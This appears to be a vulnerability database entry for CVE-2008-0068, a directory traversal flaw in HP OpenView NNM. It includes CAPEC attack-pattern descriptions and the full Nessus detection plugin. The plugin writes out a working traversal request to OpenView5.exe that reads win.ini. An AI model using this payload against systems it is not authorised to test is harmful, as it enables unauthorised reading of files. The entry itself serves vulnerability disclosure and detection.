Vulnerabilities > CVE-2008-0068 - Path Traversal vulnerability in HP Openview Network Node Manager 7.51/7.53

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
hp
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in OpenView5.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to read arbitrary files via directory traversal sequences in the Action parameter.

Vulnerable Configurations

Part Description Count
Application
Hp
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionHP OpenView Network Node Manager 7.x (OV NNM) OpenView5.exe Action Parameter Traversal Arbitrary File Access. CVE-2008-0068. Remote exploit for windows platform
idEDB-ID:31638
last seen2016-02-03
modified2008-04-11
published2008-04-11
reporterLuigi Auriemma
sourcehttps://www.exploit-db.com/download/31638/
titleHP OpenView Network Node Manager 7.x - OV NNM OpenView5.exe Action Parameter Traversal Arbitrary File Access

Nessus

NASL familyCGI abuses
NASL idOPENVIEW_NNM_ACTION_DIR_TRAVERSAL.NASL
descriptionThe version of HP OpenView Network Node Manager installed on the remote host fails to completely sanitize user input to the
last seen2020-06-01
modified2020-06-02
plugin id31860
published2008-04-15
reporterThis script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/31860
titleHP OpenView Network Node Manager OpenView5.exe Action Parameter Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(31860);
  script_version("1.20");

  script_cve_id("CVE-2008-0068");
  script_bugtraq_id(28745);
  script_xref(name:"Secunia", value:"29796");

  script_name(english:"HP OpenView Network Node Manager OpenView5.exe Action Parameter Traversal Arbitrary File Access");
  script_summary(english:"Tries to read a local file with NNM");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that is prone to a
directory traversal attack." );
 script_set_attribute(attribute:"description", value:
"The version of HP OpenView Network Node Manager installed on the
remote host fails to completely sanitize user input to the 'Action'
parameter of the 'OpenView5.exe' CGI script.  Using a value with
directory traversal sequences containing slashes rather than
backslashes, an unauthenticated, remote attacker can exploit this issue
to view arbitrary files on the remote host, subject to the privileges
under which the web server operates." );
 script_set_attribute(attribute:"see_also", value:"http://aluigi.altervista.org/adv/closedviewx-adv.txt" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/490771/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"https://secuniaresearch.flexerasoftware.com/secunia_research/2008-4/advisory/" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/490834/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2008/Jul/54" );
 script_set_attribute(attribute:"solution", value:
"Apply the appropriate patch / archive file as discussed in the vendor
advisory above." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(22);
 script_set_attribute(attribute:"plugin_publication_date", value: "2008/04/15");
 script_cvs_date("Date: 2018/11/15 20:50:18");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl", "web_traversal.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80, 3443);

  exit(0);
}


# Only Windows is tested.
os = get_kb_item("Host/OS");
if (!os || "Windows" >!< os) exit(0);


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:3443, embedded: 0);
if ( get_kb_item(strcat("www/", port, "/generic_traversal"))) exit(0);



files = make_list(
  "/windows/win.ini",
  "/winnt/win.ini"
);


# Loop through directories.
dirs = list_uniq(make_list("/OvCgi", cgi_dirs()));

foreach dir (dirs)
{
  foreach file (files)
  {
    # Try to retrieve a local file.
    url = string(
      dir, "/OpenView5.exe?",
      "Target=Main&",
      "Action=../../../../../../../../../../", file
    );

    w = http_send_recv3(method:"GET", item:url, port:port);
    if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
    res = w[2];

    # There's a problem if it looks like a win.ini file.
    if ("; for 16-bit app support" >< res)
    {
      if (report_verbosity)
      {
        exploit_url = build_url(port: port, qs: url);
        report = string(
          "\n",
          "Nessus was able to retrieve the contents of '", file, "'\n",
          "using the following URL :\n",
          "\n",
          "  ", exploit_url, "\n"
        );
        if (report_verbosity > 1)
        {
          report = string(
            report,
            "\n",
            "Here is the response :\n",
            "\n",
            res
          );
        }
        security_warning(port:port, extra:report);
      }
      else security_warning(port);

      exit(0);
    }
  }
}